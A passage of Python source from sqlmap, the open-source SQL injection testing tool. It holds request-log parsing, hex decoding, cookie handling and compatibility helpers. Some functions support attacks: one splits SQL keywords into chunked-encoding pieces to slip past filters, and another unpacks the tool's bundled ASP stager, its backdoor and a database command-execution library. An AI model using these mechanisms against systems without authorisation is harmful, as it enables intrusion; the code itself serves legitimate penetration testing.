', 'http://www.site.com') == set([('http://www.site.com/input.php', 'POST', 'id=1', None, None)]) True """ class _(six.StringIO, object): def __init__(self, content, url): super(_, self).__init__(content) self._url = url def geturl(self): return self._url if not content: errMsg = "can't parse forms as the page content appears to be blank" if raiseException: raise SqlmapGenericException(errMsg) else: logger.debug(errMsg) forms = None retVal = set() response = _(content, url) try: forms = ParseResponse(response, backwards_compat=False) except ParseError: if re.search(r"(?i)>> checkSameHost('http://www.target.com/page1.php?id=1', 'http://www.target.com/images/page2.php') True >>> checkSameHost('http://www.target.com/page1.php?id=1', 'http://www.target2.com/images/page2.php') False """ if not urls: return None elif len(urls) == 1: return True else: def _(value): if value and not re.search(r"\A\w+://", value): value = "http://%s" % value return value first = _urllib.parse.urlparse(_(urls[0]) or "").hostname or "" first = re.sub(r"(?i)\Awww\.", "", first) for url in urls[1:]: current = _urllib.parse.urlparse(_(url) or "").hostname or "" current = re.sub(r"(?i)\Awww\.", "", current) if current != first: return False return True def getHostHeader(url): """ Returns proper Host header value for a given target URL >>> getHostHeader('http://www.target.com/vuln.php?id=1') 'www.target.com' """ retVal = url if url: retVal = _urllib.parse.urlparse(url).netloc if re.search(r"http(s)?://\[.+\]", url, re.I): retVal = extractRegexResult(r"http(s)?://\[(?P.+)\]", url) elif any(retVal.endswith(':%d' % _) for _ in (80, 443)): retVal = retVal.split(':')[0] if retVal and retVal.count(':') > 1 and not any(_ in retVal for _ in ('[', ']')): retVal = "[%s]" % retVal return retVal def checkOldOptions(args): """ Checks for obsolete/deprecated options """ for _ in args: _ = _.split('=')[0].strip() if _ in OBSOLETE_OPTIONS: errMsg = "switch/option '%s' is obsolete" % _ if OBSOLETE_OPTIONS[_]: errMsg += " (hint: %s)" % OBSOLETE_OPTIONS[_] raise SqlmapSyntaxException(errMsg) elif _ in DEPRECATED_OPTIONS: warnMsg = "switch/option '%s' is deprecated" % _ if DEPRECATED_OPTIONS[_]: warnMsg += " (hint: %s)" % DEPRECATED_OPTIONS[_] logger.warning(warnMsg) def checkSystemEncoding(): """ Checks for problematic encodings """ if sys.getdefaultencoding() == "cp720": try: codecs.lookup("cp720") except LookupError: errMsg = "there is a known Python issue (#1616979) related " errMsg += "to support for charset 'cp720'. Please visit " errMsg += "'http://blog.oneortheother.info/tip/python-fix-cp720-encoding/index.html' " errMsg += "and follow the instructions to be able to fix it" logger.critical(errMsg) warnMsg = "temporary switching to charset 'cp1256'" logger.warning(warnMsg) _reload_module(sys) sys.setdefaultencoding("cp1256") def evaluateCode(code, variables=None): """ Executes given python code given in a string form >>> _ = {}; evaluateCode("a = 1; b = 2; c = a", _); _["c"] 1 """ try: exec(code, variables) except KeyboardInterrupt: raise except Exception as ex: errMsg = "an error occurred while evaluating provided code ('%s') " % getSafeExString(ex) raise SqlmapGenericException(errMsg) def serializeObject(object_): """ Serializes given object >>> type(serializeObject([1, 2, 3, ('a', 'b')])) == str True """ return base64pickle(object_) def unserializeObject(value): """ Unserializes object from given serialized form >>> unserializeObject(serializeObject([1, 2, 3])) == [1, 2, 3] True >>> unserializeObject('gAJVBmZvb2JhcnEBLg==') 'foobar' """ return base64unpickle(value) if value else None def resetCounter(technique): """ Resets query counter for a given technique """ kb.counters[technique] = 0 def incrementCounter(technique): """ Increments query counter for a given technique """ kb.counters[technique] = getCounter(technique) + 1 def getCounter(technique): """ Returns query counter for a given technique >>> resetCounter(PAYLOAD.TECHNIQUE.STACKED); incrementCounter(PAYLOAD.TECHNIQUE.STACKED); getCounter(PAYLOAD.TECHNIQUE.STACKED) 1 """ return kb.counters.get(technique, 0) def applyFunctionRecursively(value, function): """ Applies function recursively through list-like structures >>> applyFunctionRecursively([1, 2, [3, 4, [19]], -9], lambda _: _ > 0) [True, True, [True, True, [True]], False] """ if isListLike(value): retVal = [applyFunctionRecursively(_, function) for _ in value] else: retVal = function(value) return retVal def decodeDbmsHexValue(value, raw=False): """ Returns value decoded from DBMS specific hexadecimal representation >>> decodeDbmsHexValue('3132332031') == u'123 1' True >>> decodeDbmsHexValue('31003200330020003100') == u'123 1' True >>> decodeDbmsHexValue('00310032003300200031') == u'123 1' True >>> decodeDbmsHexValue('0x31003200330020003100') == u'123 1' True >>> decodeDbmsHexValue('313233203') == u'123 ?' True >>> decodeDbmsHexValue(['0x31', '0x32']) == [u'1', u'2'] True >>> decodeDbmsHexValue('5.1.41') == u'5.1.41' True """ retVal = value def _(value): retVal = value if value and isinstance(value, six.string_types): value = value.strip() if len(value) % 2 != 0: retVal = (decodeHex(value[:-1]) + b'?') if len(value) > 1 else value singleTimeWarnMessage("there was a problem decoding value '%s' from expected hexadecimal form" % value) else: retVal = decodeHex(value) if not raw: if not kb.binaryField: if Backend.isDbms(DBMS.MSSQL) and value.startswith("0x"): try: retVal = retVal.decode("utf-16-le") except UnicodeDecodeError: pass elif Backend.getIdentifiedDbms() in (DBMS.HSQLDB, DBMS.H2): try: retVal = retVal.decode("utf-16-be") except UnicodeDecodeError: pass if not isinstance(retVal, six.text_type): retVal = getUnicode(retVal, conf.encoding or UNICODE_ENCODING) if u"\x00" in retVal: retVal = retVal.replace(u"\x00", u"") return retVal try: retVal = applyFunctionRecursively(value, _) except: singleTimeWarnMessage("there was a problem decoding value '%s' from expected hexadecimal form" % value) return retVal def extractExpectedValue(value, expected): """ Extracts and returns expected value by a given type >>> extractExpectedValue(['1'], EXPECTED.BOOL) True >>> extractExpectedValue(['17'], EXPECTED.BOOL) True >>> extractExpectedValue(['0'], EXPECTED.BOOL) False >>> extractExpectedValue('1', EXPECTED.INT) 1 >>> extractExpectedValue('7\\xb9645', EXPECTED.INT) is None True """ if expected: value = unArrayizeValue(value) if isNoneValue(value): value = None elif expected == EXPECTED.BOOL: if isinstance(value, int): value = bool(value) elif isinstance(value, six.string_types): value = value.strip().lower() if value in ("true", "false"): value = value == "true" elif value in ('t', 'f'): value = value == 't' elif value == '0': value = False elif re.search(r"\A-?[1-9]\d*\Z", value): value = True else: value = None elif expected == EXPECTED.INT: try: value = int(value) except: value = None return value def hashDBWrite(key, value, serialize=False): """ Helper function for writing session data to HashDB """ if conf.hashDB: _ = '|'.join((str(_) if not isinstance(_, six.string_types) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE)) conf.hashDB.write(_, value, serialize) def hashDBRetrieve(key, unserialize=False, checkConf=False): """ Helper function for restoring session data from HashDB """ retVal = None if conf.hashDB: _ = '|'.join((str(_) if not isinstance(_, six.string_types) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE)) retVal = conf.hashDB.retrieve(_, unserialize) if kb.resumeValues and not (checkConf and any((conf.flushSession, conf.freshQueries))) else None if not kb.inferenceMode and not kb.fileReadMode and isinstance(retVal, six.string_types) and any(_ in retVal for _ in (PARTIAL_VALUE_MARKER, PARTIAL_HEX_VALUE_MARKER)): retVal = None return retVal def resetCookieJar(cookieJar): """ Cleans cookies from a given cookie jar """ if not conf.loadCookies: cookieJar.clear() else: try: if not cookieJar.filename: infoMsg = "loading cookies from '%s'" % conf.loadCookies logger.info(infoMsg) content = readCachedFileContent(conf.loadCookies) content = re.sub("(?im)^#httpOnly_", "", content) lines = filterNone(line.strip() for line in content.split("\n") if not line.startswith('#')) handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.COOKIE_JAR) os.close(handle) # Reference: http://www.hashbangcode.com/blog/netscape-http-cooke-file-parser-php-584.html with openFile(filename, "w+") as f: f.write("%s\n" % NETSCAPE_FORMAT_HEADER_COOKIES) for line in lines: _ = line.split("\t") if len(_) == 7: _[4] = FORCE_COOKIE_EXPIRATION_TIME f.write("\n%s" % "\t".join(_)) cookieJar.filename = filename cookieJar.load(cookieJar.filename, ignore_expires=True) for cookie in cookieJar: if getattr(cookie, "expires", MAX_INT) < time.time(): warnMsg = "cookie '%s' has expired" % cookie singleTimeWarnMessage(warnMsg) cookieJar.clear_expired_cookies() if not cookieJar._cookies: errMsg = "no valid cookies found" raise SqlmapGenericException(errMsg) except Exception as ex: errMsg = "there was a problem loading " errMsg += "cookies file ('%s')" % re.sub(r"(cookies) file '[^']+'", r"\g<1>", getSafeExString(ex)) raise SqlmapGenericException(errMsg) def decloakToTemp(filename): """ Decloaks content of a given file to a temporary file with similar name and extension NOTE: using in-memory decloak() in docTests because of the "problem" on Windows platform >>> decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.asp_")).startswith(b'<%') True >>> decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.asp_")).startswith(b'<%') True >>> b'sys_eval' in decloak(os.path.join(paths.SQLMAP_UDF_PATH, "postgresql", "linux", "64", "11", "lib_postgresqludf_sys.so_")) True """ content = decloak(filename) parts = os.path.split(filename[:-1])[-1].split('.') prefix, suffix = parts[0], '.' + parts[-1] handle, filename = tempfile.mkstemp(prefix=prefix, suffix=suffix) os.close(handle) with openFile(filename, "w+b", encoding=None) as f: f.write(content) return filename def prioritySortColumns(columns): """ Sorts given column names by length in ascending order while those containing string 'id' go first >>> prioritySortColumns(['password', 'userid', 'name', 'id']) ['id', 'userid', 'name', 'password'] """ recompile = re.compile(r"^id|id$", re.I) return sorted(columns, key=lambda col: ( not (col and recompile.search(col)), len(col) )) def getRequestHeader(request, name): """ Solving an issue with an urllib2 Request header case sensitivity # Reference: http://bugs.python.org/issue2275 >>> _ = lambda _: _ >>> _.headers = {"FOO": "BAR"} >>> _.header_items = lambda: _.headers.items() >>> getText(getRequestHeader(_, "foo")) 'BAR' """ retVal = None if request and request.headers and name: _ = name.upper() retVal = max(getBytes(value if _ == key.upper() else "") for key, value in request.header_items()) or None return retVal def isNumber(value): """ Returns True if the given value is a number-like object >>> isNumber(1) True >>> isNumber('0') True >>> isNumber('foobar') False """ try: float(value) except: return False else: return True def zeroDepthSearch(expression, value): """ Searches occurrences of value inside expression at 0-depth level regarding the parentheses >>> _ = "SELECT (SELECT id FROM users WHERE 2>1) AS result FROM DUAL"; _[zeroDepthSearch(_, "FROM")[0]:] 'FROM DUAL' >>> _ = "a(b; c),d;e"; _[zeroDepthSearch(_, "[;, ]")[0]:] ',d;e' """ retVal = [] depth = 0 for index in xrange(len(expression)): if expression[index] == '(': depth += 1 elif expression[index] == ')': depth -= 1 elif depth == 0: if value.startswith('[') and value.endswith(']'): if re.search(value, expression[index:index + 1]): retVal.append(index) elif expression[index:index + len(value)] == value: retVal.append(index) return retVal def splitFields(fields, delimiter=','): """ Returns list of (0-depth) fields splitted by delimiter >>> splitFields('foo, bar, max(foo, bar)') ['foo', 'bar', 'max(foo,bar)'] """ fields = fields.replace("%s " % delimiter, delimiter) commas = [-1, len(fields)] commas.extend(zeroDepthSearch(fields, ',')) commas = sorted(commas) return [fields[x + 1:y] for (x, y) in _zip(commas, commas[1:])] def pollProcess(process, suppress_errors=False): """ Checks for process status (prints . if still running) """ while process: dataToStdout(".") time.sleep(1) returncode = process.poll() if returncode is not None: if not suppress_errors: if returncode == 0: dataToStdout(" done\n") elif returncode < 0: dataToStdout(" process terminated by signal %d\n" % returncode) elif returncode > 0: dataToStdout(" quit unexpectedly with return code %d\n" % returncode) break def parseRequestFile(reqFile, checkParams=True): """ Parses WebScarab and Burp logs and adds results to the target URL list >>> handle, reqFile = tempfile.mkstemp(suffix=".req") >>> content = b"POST / HTTP/1.0\\nUser-agent: foobar\\nHost: www.example.com\\n\\nid=1\\n" >>> _ = os.write(handle, content) >>> os.close(handle) >>> next(parseRequestFile(reqFile)) == ('http://www.example.com:80/', 'POST', 'id=1', None, (('User-agent', 'foobar'), ('Host', 'www.example.com'))) True """ def _parseWebScarabLog(content): """ Parses WebScarab logs (POST method not supported) """ if WEBSCARAB_SPLITTER not in content: return reqResList = content.split(WEBSCARAB_SPLITTER) for request in reqResList: url = extractRegexResult(r"URL: (?P.+?)\n", request, re.I) method = extractRegexResult(r"METHOD: (?P.+?)\n", request, re.I) cookie = extractRegexResult(r"COOKIE: (?P.+?)\n", request, re.I) if not method or not url: logger.debug("not a valid WebScarab log data") continue if method.upper() == HTTPMETHOD.POST: warnMsg = "POST requests from WebScarab logs aren't supported " warnMsg += "as their body content is stored in separate files. " warnMsg += "Nevertheless you can use -r to load them individually." logger.warning(warnMsg) continue if not (conf.scope and not re.search(conf.scope, url, re.I)): yield (url, method, None, cookie, tuple()) def _parseBurpLog(content): """ Parses Burp logs """ if not re.search(BURP_REQUEST_REGEX, content, re.I | re.S): if re.search(BURP_XML_HISTORY_REGEX, content, re.I | re.S): reqResList = [] for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S): port, request = match.groups() try: request = decodeBase64(request, binary=False) except (binascii.Error, TypeError): continue _ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request) if _: host = _.group(0).strip() if not re.search(r":\d+\Z", host) and int(port) != 80: request = request.replace(host, "%s:%d" % (host, int(port))) reqResList.append(request) else: reqResList = [content] else: reqResList = re.finditer(BURP_REQUEST_REGEX, content, re.I | re.S) for match in reqResList: request = match if isinstance(match, six.string_types) else match.group(1) request = re.sub(r"\A[^\w]+", "", request) schemePort = re.search(r"(http[\w]*)\:\/\/.*?\:([\d]+).+?={10,}", request, re.I | re.S) if schemePort: scheme = schemePort.group(1) port = schemePort.group(2) request = re.sub(r"\n=+\Z", "", request.split(schemePort.group(0))[-1].lstrip()) else: scheme, port = None, None if "HTTP/" not in request: continue if re.search(r"^[\n]*%s[^?]*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M): if not re.search(r"^[\n]*%s[^\n]*\*[^\n]*\sHTTP\/" % HTTPMETHOD.GET, request, re.I | re.M): continue getPostReq = False forceBody = False url = None host = None method = None data = None cookie = None params = False newline = None lines = request.split('\n') headers = [] for index in xrange(len(lines)): line = lines[index] if not line.strip() and index == len(lines) - 1: break line = re.sub(INJECT_HERE_REGEX, CUSTOM_INJECTION_MARK_CHAR, line) newline = "\r\n" if line.endswith('\r') else '\n' line = line.strip('\r') match = re.search(r"\A([A-Z]+) (.+) HTTP/[\d.]+\Z", line) if not method else None if len(line.strip()) == 0 and method and (method != HTTPMETHOD.GET or forceBody) and data is None: data = "" params = True elif match: method = match.group(1) url = match.group(2) if any(_ in line for _ in ('?', '=', kb.customInjectionMark)): params = True getPostReq = True # POST parameters elif data is not None and params: data += "%s%s" % (line, newline) # GET parameters elif "?" in line and "=" in line and ": " not in line: params = True # Headers elif re.search(r"\A\S+:", line): key, value = line.split(":", 1) value = value.strip().replace("\r", "").replace("\n", "") # Note: overriding values with --headers '...' match = re.search(r"(?i)\b(%s): ([^\n]*)" % re.escape(key), conf.headers or "") if match: key, value = match.groups() # Cookie and Host headers if key.upper() == HTTP_HEADER.COOKIE.upper(): cookie = value elif key.upper() == HTTP_HEADER.HOST.upper(): if '://' in value: scheme, value = value.split('://')[:2] port = extractRegexResult(r":(?P\d+)\Z", value) if port: host = value[:-(1 + len(port))] else: host = value # Avoid to add a static content length header to # headers and consider the following lines as # POSTed data if key.upper() == HTTP_HEADER.CONTENT_LENGTH.upper(): forceBody = True params = True # Avoid proxy and connection type related headers elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION, HTTP_HEADER.IF_MODIFIED_SINCE, HTTP_HEADER.IF_NONE_MATCH): headers.append((getUnicode(key), getUnicode(value))) if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""): params = True data = data.rstrip("\r\n") if data else data if getPostReq and (params or cookie or not checkParams): if not port and hasattr(scheme, "lower") and scheme.lower() == "https": port = "443" elif not scheme and port == "443": scheme = "https" if conf.forceSSL: scheme = "https" port = port or "443" if not host: errMsg = "invalid format of a request file" raise SqlmapSyntaxException(errMsg) if not url.startswith("http"): url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url) scheme = None port = None if not (conf.scope and not re.search(conf.scope, url, re.I)): yield (url, conf.method or method, data, cookie, tuple(headers)) content = readCachedFileContent(reqFile) if conf.scope: logger.info("using regular expression '%s' for filtering targets" % conf.scope) try: re.compile(conf.scope) except Exception as ex: errMsg = "invalid regular expression '%s' ('%s')" % (conf.scope, getSafeExString(ex)) raise SqlmapSyntaxException(errMsg) for target in _parseBurpLog(content): yield target for target in _parseWebScarabLog(content): yield target def getSafeExString(ex, encoding=None): """ Safe way how to get the proper exception represtation as a string >>> getSafeExString(SqlmapBaseException('foobar')) == 'foobar' True >>> getSafeExString(OSError(0, 'foobar')) == 'OSError: foobar' True """ retVal = None if getattr(ex, "message", None): retVal = ex.message elif getattr(ex, "msg", None): retVal = ex.msg elif getattr(ex, "args", None): for candidate in ex.args[::-1]: if isinstance(candidate, six.string_types): retVal = candidate break if retVal is None: retVal = str(ex) elif not isinstance(ex, SqlmapBaseException): retVal = "%s: %s" % (type(ex).__name__, retVal) return getUnicode(retVal or "", encoding=encoding).strip() def safeVariableNaming(value): """ Returns escaped safe-representation of a given variable name that can be used in Python evaluated code >>> safeVariableNaming("class.id") == "EVAL_636c6173732e6964" True """ if value in keyword.kwlist or re.search(r"\A[^a-zA-Z]|[^\w]", value): value = "%s%s" % (EVALCODE_ENCODED_PREFIX, getUnicode(binascii.hexlify(getBytes(value)))) return value def unsafeVariableNaming(value): """ Returns unescaped safe-representation of a given variable name >>> unsafeVariableNaming("EVAL_636c6173732e6964") == "class.id" True """ if value.startswith(EVALCODE_ENCODED_PREFIX): value = decodeHex(value[len(EVALCODE_ENCODED_PREFIX):], binary=False) return value def firstNotNone(*args): """ Returns first not-None value from a given list of arguments >>> firstNotNone(None, None, 1, 2, 3) 1 """ retVal = None for _ in args: if _ is not None: retVal = _ break return retVal def removePostHintPrefix(value): """ Remove POST hint prefix from a given value (name) >>> removePostHintPrefix("JSON id") 'id' >>> removePostHintPrefix("id") 'id' """ return re.sub(r"\A(%s) " % '|'.join(re.escape(__) for __ in getPublicTypeMembers(POST_HINT, onlyValues=True)), "", value) def chunkSplitPostData(data): """ Convert POST data to chunked transfer-encoded data (Note: splitting done by SQL keywords) >>> random.seed(0) >>> chunkSplitPostData("SELECT username,password FROM users") '5;4Xe90\\r\\nSELEC\\r\\n3;irWlc\\r\\nT u\\r\\n1;eT4zO\\r\\ns\\r\\n5;YB4hM\\r\\nernam\\r\\n9;2pUD8\\r\\ne,passwor\\r\\n3;mp07y\\r\\nd F\\r\\n5;8RKXi\\r\\nROM u\\r\\n4;MvMhO\\r\\nsers\\r\\n0\\r\\n\\r\\n' """ length = len(data) retVal = [] index = 0 while index < length: chunkSize = randomInt(1) if index + chunkSize >= length: chunkSize = length - index salt = randomStr(5, alphabet=string.ascii_letters + string.digits) while chunkSize: candidate = data[index:index + chunkSize] if re.search(r"\b%s\b" % '|'.join(HTTP_CHUNKED_SPLIT_KEYWORDS), candidate, re.I): chunkSize -= 1 else: break index += chunkSize # Append to list instead of recreating the string retVal.append("%x;%s\r\n" % (chunkSize, salt)) retVal.append("%s\r\n" % candidate) retVal.append("0\r\n\r\n") return "".join(retVal) def checkSums(): """ Validate the content of the digest file (i.e. sha256sums.txt) >>> checkSums() True """ retVal = True if paths.get("DIGEST_FILE"): for entry in getFileItems(paths.DIGEST_FILE): match = re.search(r"([0-9a-f]+)\s+([^\s]+)", entry) if match: expected, filename = match.groups() filepath = os.path.join(paths.SQLMAP_ROOT_PATH, filename).replace('/', os.path.sep) if not checkFile(filepath, False): continue with open(filepath, "rb") as f: content = f.read() if b'\0' not in content: content = content.replace(b"\r\n", b"\n") if not hashlib.sha256(content).hexdigest() == expected: retVal &= False break return retVal ================================================ FILE: lib/core/compat.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import division import codecs import binascii import functools import io import math import os import random import re import sys import time import uuid class WichmannHill(random.Random): """ Reference: https://svn.python.org/projects/python/trunk/Lib/random.py """ VERSION = 1 # used by getstate/setstate def seed(self, a=None): """Initialize internal state from hashable object. None or no argument seeds from current time or from an operating system specific randomness source if available. If a is not None or an int or long, hash(a) is used instead. If a is an int or long, a is used directly. Distinct values between 0 and 27814431486575L inclusive are guaranteed to yield distinct internal states (this guarantee is specific to the default Wichmann-Hill generator). """ if a is None: try: a = int(binascii.hexlify(os.urandom(16)), 16) except NotImplementedError: a = int(time.time() * 256) # use fractional seconds if not isinstance(a, int): a = hash(a) a, x = divmod(a, 30268) a, y = divmod(a, 30306) a, z = divmod(a, 30322) self._seed = int(x) + 1, int(y) + 1, int(z) + 1 self.gauss_next = None def random(self): """Get the next random number in the range [0.0, 1.0).""" # Wichman-Hill random number generator. # # Wichmann, B. A. & Hill, I. D. (1982) # Algorithm AS 183: # An efficient and portable pseudo-random number generator # Applied Statistics 31 (1982) 188-190 # # see also: # Correction to Algorithm AS 183 # Applied Statistics 33 (1984) 123 # # McLeod, A. I. (1985) # A remark on Algorithm AS 183 # Applied Statistics 34 (1985),198-200 # This part is thread-unsafe: # BEGIN CRITICAL SECTION x, y, z = self._seed x = (171 * x) % 30269 y = (172 * y) % 30307 z = (170 * z) % 30323 self._seed = x, y, z # END CRITICAL SECTION # Note: on a platform using IEEE-754 double arithmetic, this can # never return 0.0 (asserted by Tim; proof too long for a comment). return (x / 30269.0 + y / 30307.0 + z / 30323.0) % 1.0 def getstate(self): """Return internal state; can be passed to setstate() later.""" return self.VERSION, self._seed, self.gauss_next def setstate(self, state): """Restore internal state from object returned by getstate().""" version = state[0] if version == 1: version, self._seed, self.gauss_next = state else: raise ValueError("state with version %s passed to " "Random.setstate() of version %s" % (version, self.VERSION)) def jumpahead(self, n): """Act as if n calls to random() were made, but quickly. n is an int, greater than or equal to 0. Example use: If you have 2 threads and know that each will consume no more than a million random numbers, create two Random objects r1 and r2, then do r2.setstate(r1.getstate()) r2.jumpahead(1000000) Then r1 and r2 will use guaranteed-disjoint segments of the full period. """ if n < 0: raise ValueError("n must be >= 0") x, y, z = self._seed x = int(x * pow(171, n, 30269)) % 30269 y = int(y * pow(172, n, 30307)) % 30307 z = int(z * pow(170, n, 30323)) % 30323 self._seed = x, y, z def __whseed(self, x=0, y=0, z=0): """Set the Wichmann-Hill seed from (x, y, z). These must be integers in the range [0, 256). """ if not type(x) == type(y) == type(z) == int: raise TypeError('seeds must be integers') if not (0 <= x < 256 and 0 <= y < 256 and 0 <= z < 256): raise ValueError('seeds must be in range(0, 256)') if 0 == x == y == z: # Initialize from current time t = int(time.time() * 256) t = int((t & 0xffffff) ^ (t >> 24)) t, x = divmod(t, 256) t, y = divmod(t, 256) t, z = divmod(t, 256) # Zero is a poor seed, so substitute 1 self._seed = (x or 1, y or 1, z or 1) self.gauss_next = None def whseed(self, a=None): """Seed from hashable object's hash code. None or no argument seeds from current time. It is not guaranteed that objects with distinct hash codes lead to distinct internal states. This is obsolete, provided for compatibility with the seed routine used prior to Python 2.1. Use the .seed() method instead. """ if a is None: self.__whseed() return a = hash(a) a, x = divmod(a, 256) a, y = divmod(a, 256) a, z = divmod(a, 256) x = (x + a) % 256 or 1 y = (y + a) % 256 or 1 z = (z + a) % 256 or 1 self.__whseed(x, y, z) def patchHeaders(headers): if headers is not None and not hasattr(headers, "headers"): if isinstance(headers, dict): class _(dict): def __getitem__(self, key): for key_ in self: if key_.lower() == key.lower(): return super(_, self).__getitem__(key_) raise KeyError(key) def get(self, key, default=None): try: return self[key] except KeyError: return default headers = _(headers) headers.headers = ["%s: %s\r\n" % (header, headers[header]) for header in headers] return headers def cmp(a, b): """ >>> cmp("a", "b") -1 >>> cmp(2, 1) 1 """ if a < b: return -1 elif a > b: return 1 else: return 0 # Reference: https://github.com/urllib3/urllib3/blob/master/src/urllib3/filepost.py def choose_boundary(): """ >>> len(choose_boundary()) == 32 True """ retval = "" try: retval = uuid.uuid4().hex except AttributeError: retval = "".join(random.sample("0123456789abcdef", 1)[0] for _ in xrange(32)) return retval # Reference: http://python3porting.com/differences.html def round(x, d=0): """ >>> round(2.0) 2.0 >>> round(2.5) 3.0 """ p = 10 ** d if x > 0: return float(math.floor((x * p) + 0.5)) / p else: return float(math.ceil((x * p) - 0.5)) / p # Reference: https://code.activestate.com/recipes/576653-convert-a-cmp-function-to-a-key-function/ def cmp_to_key(mycmp): """Convert a cmp= function into a key= function""" class K(object): __slots__ = ['obj'] def __init__(self, obj, *args): self.obj = obj def __lt__(self, other): return mycmp(self.obj, other.obj) < 0 def __gt__(self, other): return mycmp(self.obj, other.obj) > 0 def __eq__(self, other): return mycmp(self.obj, other.obj) == 0 def __le__(self, other): return mycmp(self.obj, other.obj) <= 0 def __ge__(self, other): return mycmp(self.obj, other.obj) >= 0 def __ne__(self, other): return mycmp(self.obj, other.obj) != 0 def __hash__(self): raise TypeError('hash not implemented') return K # Note: patch for Python 2.6 if not hasattr(functools, "cmp_to_key"): functools.cmp_to_key = cmp_to_key if sys.version_info >= (3, 0): xrange = range buffer = memoryview else: xrange = xrange buffer = buffer def LooseVersion(version): """ >>> LooseVersion("1.0") == LooseVersion("1.0") True >>> LooseVersion("1.0.1") > LooseVersion("1.0") True >>> LooseVersion("1.0.1-") == LooseVersion("1.0.1") True >>> LooseVersion("1.0.11") < LooseVersion("1.0.111") True >>> LooseVersion("foobar") > LooseVersion("1.0") False >>> LooseVersion("1.0") > LooseVersion("foobar") False >>> LooseVersion("3.22-mysql") == LooseVersion("3.22-mysql-ubuntu0.3") True >>> LooseVersion("8.0.22-0ubuntu0.20.04.2") 8.000022 """ match = re.search(r"\A(\d[\d.]*)", version or "") if match: result = 0 value = match.group(1) weight = 1.0 for part in value.strip('.').split('.'): if part.isdigit(): result += int(part) * weight weight *= 1e-3 else: result = float("NaN") return result # NOTE: codecs.open re-implementation (deprecated in Python 3.14) try: # Py2 _text_type = unicode _bytes_types = (str, bytearray) except NameError: # Py3 _text_type = str _bytes_types = (bytes, bytearray, memoryview) _WRITE_CHARS = ("w", "a", "x", "+") def _is_write_mode(mode): return any(ch in mode for ch in _WRITE_CHARS) class MixedWriteTextIO(object): """ Text-ish stream wrapper that accepts both text and bytes in write(). Bytes are decoded using the file's (encoding, errors) before writing. Optionally approximates line-buffering by flushing when a newline is written. """ def __init__(self, fh, encoding, errors, line_buffered=False): self._fh = fh self._encoding = encoding self._errors = errors self._line_buffered = line_buffered def write(self, data): # bytes-like but not text -> decode if isinstance(data, _bytes_types) and not isinstance(data, _text_type): data = bytes(data).decode(self._encoding, self._errors) elif not isinstance(data, _text_type): data = _text_type(data) n = self._fh.write(data) # Approximate "line buffering" behavior if requested if self._line_buffered and u"\n" in data: try: self._fh.flush() except Exception: pass return n def writelines(self, lines): for x in lines: self.write(x) def __iter__(self): return iter(self._fh) def __next__(self): return next(self._fh) def next(self): # Py2 return self.__next__() def __getattr__(self, name): return getattr(self._fh, name) def __enter__(self): self._fh.__enter__() return self def __exit__(self, exc_type, exc, tb): return self._fh.__exit__(exc_type, exc, tb) def _codecs_open(filename, mode="r", encoding=None, errors="strict", buffering=-1): """ Replacement for deprecated codecs.open() entry point with sqlmap-friendly behavior. - If encoding is None: return io.open(...) as-is. - If encoding is set: force underlying binary mode and wrap via StreamReaderWriter (like codecs.open()). - For write-ish modes: return a wrapper that also accepts bytes on .write(). - Handles buffering=1 in binary mode by downgrading underlying buffering to -1, while optionally preserving "flush on newline" behavior in the wrapper. """ if encoding is None: return io.open(filename, mode, buffering=buffering) bmode = mode if "b" not in bmode: bmode += "b" # Avoid line-buffering warnings/errors on binary streams line_buffered = (buffering == 1) if line_buffered: buffering = -1 f = io.open(filename, bmode, buffering=buffering) try: info = codecs.lookup(encoding) srw = codecs.StreamReaderWriter(f, info.streamreader, info.streamwriter, errors) srw.encoding = encoding if _is_write_mode(mode): return MixedWriteTextIO(srw, encoding, errors, line_buffered=line_buffered) return srw except Exception: try: f.close() finally: raise codecs_open = _codecs_open if sys.version_info >= (3, 14) else codecs.open ================================================ FILE: lib/core/convert.py ================================================ #!/usr/bin/env python """ Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ try: import cPickle as pickle except: import pickle import base64 import binascii import codecs import json import re import sys import time from lib.core.bigarray import BigArray from lib.core.compat import xrange from lib.core.data import conf from lib.core.data import kb from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA from lib.core.settings import IS_TTY from lib.core.settings import IS_WIN from lib.core.settings import NULL from lib.core.settings import PICKLE_PROTOCOL from lib.core.settings import SAFE_HEX_MARKER from lib.core.settings import UNICODE_ENCODING from thirdparty import six from thirdparty.six import unichr as _unichr from thirdparty.six.moves import html_parser from thirdparty.six.moves import collections_abc as _collections try: from html import escape as htmlEscape except ImportError: from cgi import escape as htmlEscape def base64pickle(value): """ Serializes (with pickle) and encodes to Base64 format supplied (binary) value >>> base64unpickle(base64pickle([1, 2, 3])) == [1, 2, 3] True """ retVal = None try: retVal = encodeBase64(pickle.dumps(value, PICKLE_PROTOCOL), binary=False) except: warnMsg = "problem occurred while serializing " warnMsg += "instance of a type '%s'" % type(value) singleTimeWarnMessage(warnMsg) try: retVal = encodeBase64(pickle.dumps(value), binary=False) except: raise return retVal def base64unpickle(value): """ Decodes value from Base64 to plain format and deserializes (with pickle) its content >>> type(base64unpickle('gAJjX19idWlsdGluX18Kb2JqZWN0CnEBKYFxAi4=')) == object True """ retVal = None try: retVal = pickle.loads(decodeBase64(value)) except TypeError: retVal = pickle.loads(decodeBase64(bytes(value))) return retVal def htmlUnescape(value): """ Returns HTML unescaped value >>> htmlUnescape('a<b') == 'a>> htmlUnescape('a<b') == 'a>> htmlUnescape('foobar') == 'foobar' True >>> 